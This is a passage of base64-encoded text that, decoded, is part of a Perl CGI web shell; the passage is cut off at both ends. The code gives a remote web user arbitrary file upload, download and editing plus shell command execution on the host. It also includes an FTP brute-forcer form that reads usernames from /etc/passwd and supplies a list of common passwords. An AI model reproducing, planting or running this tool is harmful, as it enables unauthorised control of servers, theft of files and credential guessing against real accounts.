NlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0t